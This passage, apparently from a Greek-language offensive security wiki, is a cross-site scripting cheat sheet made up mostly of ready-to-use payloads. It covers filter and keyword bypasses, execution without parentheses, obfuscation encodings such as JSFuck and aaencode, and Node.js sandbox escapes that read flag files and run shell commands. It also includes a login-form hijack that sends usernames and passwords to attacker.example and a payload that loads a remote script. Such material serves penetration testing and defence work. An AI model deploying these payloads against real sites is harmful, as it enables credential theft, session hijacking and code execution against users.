Παράδειγμα προτύπου URL όταν η ευάλωτη παράμετρος αντανακλάται σε JS string:
?param=test";<INJECTION>;a="
Αυτό εκτελεί κακόβουλο JS χωρίς να χρειάζεται να αγγίξετε το HTML context (pure JS-in-JS). Συνδυάστε το με blacklist bypasses παρακάτω όταν τα φίλτρα μπλοκάρουν λέξεις-κλειδιά.
Template literals ``
Για να δημιουργήσετε strings, πέρα από single και double quotes, το JS δέχεται επίσης backticks `` . Αυτό είναι γνωστό ως template literals καθώς επιτρέπει embedded JS expressions χρησιμοποιώντας τη σύνταξη ${ ... }.\
Επομένως, αν διαπιστώσετε ότι το input σας ανακλάται μέσα σε μια JS string που χρησιμοποιεί backticks, μπορείτε να κακοποιήσετε τη σύνταξη ${ ... } για να εκτελέσετε arbitrary JS code:
Αυτό μπορεί να κακοποιηθεί χρησιμοποιώντας:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Κωδικοποιημένη code execution
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Deliverable payloads με eval(atob()) και αποχρώσεις του scope
Για να κρατήσετε τα URLs πιο σύντομα και να παρακάμψετε αφελή φίλτρα λέξεων-κλειδιών, μπορείτε να base64-encode την πραγματική σας λογική και να την αξιολογήσετε με eval(atob('...')). Αν το απλό φιλτράρισμα λέξεων-κλειδιών μπλοκάρει identifiers όπως alert, eval, ή atob, χρησιμοποιήστε Unicode-escaped identifiers που compile identically στον browser αλλά αποφεύγουν φίλτρα που κάνουν string-matching:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Σημαντική λεπτομέρεια στο scoping: const/let που δηλώνονται μέσα σε eval() είναι block-scoped και ΔΕΝ δημιουργούν globals· δεν θα είναι προσβάσιμα από μετέπειτα scripts. Χρησιμοποίησε ένα δυναμικά εισαγόμενο <script> στοιχείο για να ορίσεις global, μη-επαναδεσμεύσιμα hooks όταν χρειάζεται (e.g., to hijack a form handler):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Αναφορά: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Κωδικοποίηση Unicode για εκτέλεση JS
alert(1)
alert(1)
alert(1)
JavaScript bypass blacklists τεχνικές
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Ειδικές ακολουθίες διαφυγής
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Αντικαταστάσεις κενών μέσα σε JS κώδικα
<TAB>
/**/
JavaScript comments (από JavaScript Comments κόλπο)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
Νέες γραμμές JavaScript (από JavaScript new line κόλπο)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript λευκοί χαρακτήρες
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript μέσα σε ένα σχόλιο
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript χωρίς παρενθέσεις
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Αυθαίρετη κλήση συνάρτησης (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
There is JS code that is using unsafely data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.
Due to the extension of the explanation of DOM vulnerabilities it was moved to this page:
Εκεί θα βρείτε μια λεπτομερή εξήγηση για το τι είναι οι DOM vulnerabilities, πώς προκύπτουν, και πώς να τις εκμεταλλευτείτε.
Επίσης, μην ξεχάσετε ότι στο τέλος του εν λόγω post μπορείτε να βρείτε μια εξήγηση για DOM Clobbering attacks.
Upgrading Self-XSS
Cookie XSS
If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a vulnerable subdomain to XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
You can find a great abuse of this technique in this blog post.
Sending your session to the admin
Ίσως ένας user να μπορεί να μοιραστεί το προφίλ του με τον admin και αν το self XSS είναι μέσα στο προφίλ του user και ο admin το ανοίξει, θα ενεργοποιήσει την ευπάθεια.
Session Mirroring
If you find some self XSS and the web page have a session mirroring for administrators, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.
Μπορείτε να κάνετε τον administrator να trigger-άρει το self XSS σας και να κλέψετε τα cookies/session του.
Other Bypasses
Bypassing sanitization via WASM linear-memory template overwrite
When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as “” turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
Μπορείτε να ελέγξετε αν οι reflected values κανονικοποιούνται ως unicode normalized στο server (ή στο client side) και να κακοποιήσετε αυτή τη λειτουργία για να παρακάμψετε προστασίες. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
Λόγω του RoR mass assignment εισάγονται εισαγωγικά στο HTML και έτσι παρακάμπτεται ο περιορισμός των εισαγωγικών και μπορούν να προστεθούν επιπλέον πεδία (onfocus) μέσα στο tag.
Παράδειγμα φόρμας (from this report), αν στείλετε το payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Το ζεύγος “Key”,“Value” θα εμφανιστεί ως εξής:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Στη συνέχεια, το attribute onfocus θα εισαχθεί και θα προκληθεί XSS.
Ειδικοί συνδυασμοί
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS with header injection in a 302 response
Αν διαπιστώσεις ότι μπορείς να inject headers in a 302 Redirect response μπορείς να δοκιμάσεις να αναγκάσεις το browser να εκτελέσει αυθαίρετο JavaScript. Αυτό δεν είναι απλό, καθώς οι σύγχρονοι browsers δεν ερμηνεύουν το σώμα της HTTP response αν ο HTTP response status code είναι 302, οπότε ένα απλό cross-site scripting payload είναι άχρηστο.
In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
Only Letters, Numbers and Dots
Αν μπορείς να ορίσεις το callback που το JavaScript πρόκειται να εκτελέσει, περιορισμένο σε αυτούς τους χαρακτήρες. Read this section of this post για να μάθεις πώς να εκμεταλλευτείς αυτή τη συμπεριφορά.
Valid <script> Content-Types to XSS
(From here) Εάν προσπαθήσεις να φορτώσεις ένα script με content-type όπως application/octet-stream, το Chrome θα εμφανίσει το ακόλουθο σφάλμα:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Οι μόνες τιμές Content-Type που επιτρέπουν στο Chrome να τρέξει ένα loaded script είναι αυτές που περιλαμβάνονται στην const kSupportedJavascriptTypes από https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Τύποι Script για XSS
(Από here) Άρα, ποιοι τύποι μπορούν να υποδειχθούν για να φορτωθεί ένα script;
<script type="???"></script>
Η απάντηση είναι:
- module (προεπιλεγμένο, δεν χρειάζεται εξήγηση)
- webbundle: Web Bundles είναι μια δυνατότητα που σας επιτρέπει να πακετάρετε ένα σύνολο δεδομένων (HTML, CSS, JS…) μαζί σε ένα αρχείο
.wbn.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Επιτρέπει τη βελτίωση της σύνταξης import
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Αυτή η συμπεριφορά χρησιμοποιήθηκε στο this writeup για να επαναχαρτογραφήσει μια βιβλιοθήκη σε eval — η κατάχρησή της μπορεί να προκαλέσει XSS.
- speculationrules: Αυτή η λειτουργία έχει κυρίως σχεδιαστεί για να λύσει κάποια προβλήματα που προκαλούνται από το pre-rendering. Λειτουργεί ως εξής:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types για XSS
(Από here) Οι ακόλουθοι τύποι περιεχομένου μπορούν να εκτελέσουν XSS σε όλους τους browsers:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? δεν είναι στη λίστα αλλά νομίζω το είδα σε ένα CTF)
- application/rss+xml (off)
- application/atom+xml (off)
Σε άλλους browsers άλλοι Content-Types μπορούν να χρησιμοποιηθούν για την εκτέλεση αυθαίρετου JS, δες: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
Αν η σελίδα επιστρέφει content-type text/xml, είναι δυνατό να δηλωθεί ένα namespace και να εκτελεστεί αυθαίρετο JS:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Ειδικά Πρότυπα Αντικατάστασης
Όταν χρησιμοποιείται κάτι σαν "some {{template}} data".replace("{{template}}", <user_input>). Ο επιτιθέμενος μπορεί να χρησιμοποιήσει special string replacements για να προσπαθήσει να παρακάμψει κάποιες προστασίες: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
For example in this writeup, this was used to scape a JSON string inside a script and execute arbitrary code.
Chrome Cache to XSS
XS Jails Escape
Αν έχεις μόνο περιορισμένο σύνολο χαρακτήρων για χρήση, έλεγξε αυτές τις άλλες έγκυρες λύσεις για προβλήματα XSJail:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Εάν όλα είναι undefined πριν από την εκτέλεση μη αξιόπιστου κώδικα (όπως στο this writeup) είναι δυνατό να δημιουργηθούν χρήσιμα αντικείμενα “από το τίποτα” για να εκμεταλλευτείτε την εκτέλεση αυθαίρετου μη αξιόπιστου κώδικα:
- Χρήση του import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Έμμεση πρόσβαση στο
require
Σύμφωνα με αυτό τα modules τυλίγονται από το Node.js μέσα σε μια συνάρτηση, όπως φαίνεται παρακάτω:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Επομένως, εάν από εκείνο το module μπορούμε να καλέσουμε άλλη συνάρτηση, είναι δυνατόν να χρησιμοποιήσουμε arguments.callee.caller.arguments[1] από εκείνη τη συνάρτηση για να αποκτήσουμε πρόσβαση στο require:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
Με τρόπο παρόμοιο με το προηγούμενο παράδειγμα, είναι δυνατό να use error handlers για να αποκτήσετε πρόσβαση στο wrapper του module και να πάρετε τη συνάρτηση require:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- Διάφορες obfuscations σε μία σελίδα: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Πιο εξεζητημένο JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
